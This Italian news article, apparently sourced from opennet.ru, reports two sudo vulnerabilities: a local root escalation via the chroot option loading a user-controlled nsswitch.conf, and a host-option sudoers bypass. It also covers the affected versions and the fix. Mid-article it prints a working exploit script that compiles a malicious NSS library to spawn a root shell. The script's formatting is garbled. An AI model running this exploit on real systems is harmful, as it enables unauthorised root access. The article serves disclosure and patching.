Vulnerabilità nell'utilità sudo che consente di ottenere privilegi di root nel sistema

È stata identificata una vulnerabilità (CVE-2025-32463) nel pacchetto sudo, utilizzato per eseguire comandi per conto di altri utenti. Questa vulnerabilità consente a qualsiasi utente non privilegiato di eseguire codice con privilegi di root, anche se l'utente non è menzionato nella configurazione di sudoers. Il problema riguarda le distribuzioni che utilizzano il file di configurazione /etc/nsswitch.conf; ad esempio, la vulnerabilità è stata dimostrata in Ubuntu 24.04 e Fedora 41.

La vulnerabilità riguarda la configurazione predefinita ed è confermata nelle versioni di sudo dalla 1.9.14 alla 1.9.17 (potenzialmente interessa tutte le versioni a partire dalla 1.8.33). Il problema è stato risolto in sudo 1.9.17p1. È possibile verificare lo stato di una nuova versione del pacchetto o la preparazione di una correzione nelle distribuzioni nelle seguenti pagine (se la pagina non è disponibile, significa che gli sviluppatori della distribuzione non hanno ancora iniziato a considerare il problema): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo e Arch (1, 2).

Il problema è causato dal fatto che quando si utilizza l'opzione -R (--chroot) per eseguire comandi in un ambiente chroot con una directory radice selezionata dall'utente, il file /etc/nsswitch.conf viene caricato nel contesto della nuova directory radice, non della directory di sistema. Poiché l'utente può utilizzare la propria directory come directory radice per chroot, può inserire al suo interno il file di configurazione nsswitch.conf. Controllando il file /etc/nsswitch.conf caricato dal sottosistema NSS (Name Service Switch), l'utente può aggiungervi impostazioni che determinano la chiamata di gestori aggiuntivi. Tali gestori vengono caricati da NSS sotto forma di librerie condivise, che possono anche essere inserite in una directory controllata dall'utente. Sostituendo la propria libreria, l'utente può ottenere l'esecuzione del codice da essa con privilegi di root, poiché l'elaborazione NSS viene eseguita prima che i privilegi vengano persi.

Esempio di exploit: #!/bin/bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c< #include __attribute__((costruttore)) void woot(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); } EOF mkdir -p woot/etc libnss_ echo "passwd: /woot1337" > woot/etc/nsswitch.conf cp /etc/group woot/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c echo "woot!" sudo -R woot woot rm -rf ${STAGE?}

Sudo 1.9.17p1 corregge anche un'altra vulnerabilità (CVE-2025-32462) che consente l'esecuzione di comandi con privilegi di root, ma si verifica solo nelle configurazioni di sudoers in cui il parametro "host" è impostato su un valore diverso da ALL o dal nome host corrente. La vulnerabilità è causata da un errore a causa del quale l'opzione "-h" ("--host") non funzionava solo in combinazione con l'opzione "-l" ("--list") per visualizzare i privilegi associati all'host, ma anche durante l'esecuzione di comandi. Pertanto, un utente poteva specificare qualsiasi host quando chiamava sudo e aggirare le restrizioni delle regole di sudoers associate al nome host.

Per eseguire un attacco, l'utente deve essere elencato nei sudoer; ad esempio, se le impostazioni sono "testuser testhost = ALL", l'utente "testuser" potrebbe specificare "sudo -h testhost" ed eseguire comandi con privilegi di root su qualsiasi host, non solo sull'host testhost. Le configurazioni con impostazioni come "testuser ALL = ALL" o senza regole esplicite per un utente specifico non sono vulnerabili.

Fonte: opennet.ru

Aggiungi un commento